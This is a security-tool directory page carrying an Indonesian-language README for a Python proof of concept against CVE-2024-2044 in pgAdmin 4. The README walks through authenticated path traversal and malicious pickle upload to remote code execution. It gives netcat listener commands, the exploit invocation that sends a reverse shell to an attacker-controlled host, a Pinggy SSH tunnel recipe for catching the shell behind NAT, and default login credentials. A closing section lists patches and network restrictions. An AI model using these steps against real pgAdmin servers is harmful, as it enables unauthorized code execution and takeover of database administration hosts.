Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-2044 — Python PoC exploiting CVE-2024-2044 in pgAdmin 4 (<=8.3) via authenticated path traversal and unsafe pickle deserialization to achieve remote code execution and reverse shell. | Kitploit
Tools/GitHubGitHub/hanzzly/cve-2024-2044
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

Python PoC exploiting CVE-2024-2044 in pgAdmin 4 (<=8.3) via authenticated path traversal and unsafe pickle deserialization to achieve remote code execution and reverse shell.

View Repository
18h 33m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC CVE-2024-2044: pgAdmin 4 Authenticated RCE (Linux/POSIX)

Repositori ini berisi skrip Proof of Concept (PoC) untuk CVE-2024-2044, sebuah kerentanan kritis yang menggabungkan Authenticated Path Traversal dan Unsafe Deserialization pada pgAdmin 4 (versi 8.3 ke bawah) yang berjalan di lingkungan Linux/POSIX.

[!WARNING] DISCLAIMER: Kode ini dibuat hanya untuk tujuan edukasi, riset keamanan, dan pengujian penetrasi resmi (authorized pentesting). Penyalahgunaan kode ini untuk menyerang target tanpa izin tertulis adalah tindakan ilegal dan melanggar hukum.


Deskripsi Kerentanan

Pada pgAdmin 4 dengan mode server di lingkungan Linux, manajemen sesi disimpan dalam bentuk berkas lokal. Kerentanan terjadi karena fungsi FileBackedSessionManager.get() menerima nilai dari HTTP cookie pga4_session dan menggabungkannya ke jalur direktori menggunakan os.path.join tanpa sanitasi karakter manipulasi jalur (../).

Skrip PoC ini mengeksploitasi celah tersebut dengan alur sebagai berikut:

  1. Otentikasi: Melakukan login otomatis menggunakan kredensial yang valid untuk mendapatkan sesi aktif dan bypass CSRF token.
  • Unggah Payload: Memanfaatkan utilitas Storage Manager bawaan untuk mengunggah objek Python pickle berbahaya yang berisi perintah Reverse Shell. Berkas ini tersimpan di bawah direktori penyimpanan pengguna (misal: /storage/nama_user/).
  • Trigger Path Traversal: Mengirimkan permintaan HTTP kembali ke /login dengan memanipulasi cookie pga4_session menjadi jalur relatif menuju berkas pickle yang diunggah (misal: ../storage/nama_user/file.pickle!). Tanda ! digunakan untuk menyesuaikan dengan pencarian ekstensi file sesi pada pgAdmin 4.
  • Eksekusi Kode (RCE): Server pgAdmin 4 terkelabui untuk membaca berkas tersebut dan memprosesnya dengan pickle.loads(). Akibatnya, payload mengeksekusi proses Python terpisah (detached) yang melempar Reverse Shell ke penyerang.

  • Persyaratan (Prerequisites)

    • Target: pgAdmin 4 <= 8.3 (Server Mode) berjalan di Linux/POSIX.
    • Akses: Memerlukan akun login yang valid (Username & Password).
    • Dependensi Skrip: Python 3 dan pustaka requests.

    Panduan Penggunaan

    Opsi A: Menggunakan IP Publik Langsung (Lokal/VPN)

    1. Buka port netcat di mesin Anda untuk menerima koneksi reverse shell:
      root@kitploit:~
      nc -lvnp 4444
      
    2. Jalankan skrip eksploitasi:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    Opsi B: Menggunakan Port Forwarding (Pinggy.io)

    Jika mesin Anda berada di belakang NAT/Router dan membutuhkan tunnelling publik, Anda dapat menggunakan layanan Pinggy.io dengan langkah-langkah berikut:

    1. Jalankan Netcat Listener Lokal

    Nyalakan nc di mesin lokal terlebih dahulu menggunakan port pilihan Anda (misal: port 1337):

    root@kitploit:~
    nc -lvnp 1337
    

    2. Jalankan Pinggy Tunnel

    Buka terminal baru, lalu jalankan perintah SSH Pinggy. Pastikan port lokal di bagian akhir (1337) sesuai dengan port nc yang Anda nyalakan sebelumnya:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    Setelah terkoneksi, Pinggy akan memberikan URL publik TCP, misalnya: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    Catatan: Port publik yang didapat dari Pinggy adalah 43143 (Ini yang nanti menjadi -lport).

    3. Cari IP Asli Pinggy (Mendapatkan LHOST)

    Server pgAdmin 4 target membutuhkan format alamat IP asli untuk koneksi socket reverse shell. Lakukan nslookup pada domain dari URL Pinggy Anda:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    Output akan menampilkan IP publik dari server Pinggy (pilih IPv4 di bagian Address paling atas):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    Dari output di atas, didapatkan IP asli Pinggy: 172.236.148.125.

    image

    4. Jalankan Skrip Eksploitasi

    Jalankan skrip PoC dengan memasukkan IP hasil nslookup sebagai -lhost dan port publik Pinggy sebagai -lport:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    Parameter Opsi Skrip

    • -t, --target : URL target pgAdmin 4 (Wajib).
    • -u, --username: Email/Username login (Default: [email protected]).
    • -p, --password: Password login (Default: player123).
    • -lhost : IP Address penyerang / IP Hasil nslookup Pinggy (Wajib).
    • -lport : Port listener penyerang / Port publik Pinggy (Wajib).

    Mitigasi

    Kerentanan ini telah diperbaiki pada pgAdmin 4 versi 8.4. Jika Anda mengelola server yang rentan, segera lakukan tindakan berikut:

    1. Perbarui pgAdmin 4 ke versi 8.4 atau yang lebih baru.
    2. Batasi akses jaringan ke panel pgAdmin 4 menggunakan VPN atau Firewall Whitelist.
    3. Pastikan proses pgAdmin 4 dijalankan dengan hak akses pengguna biasa (non-root).
    Download Tool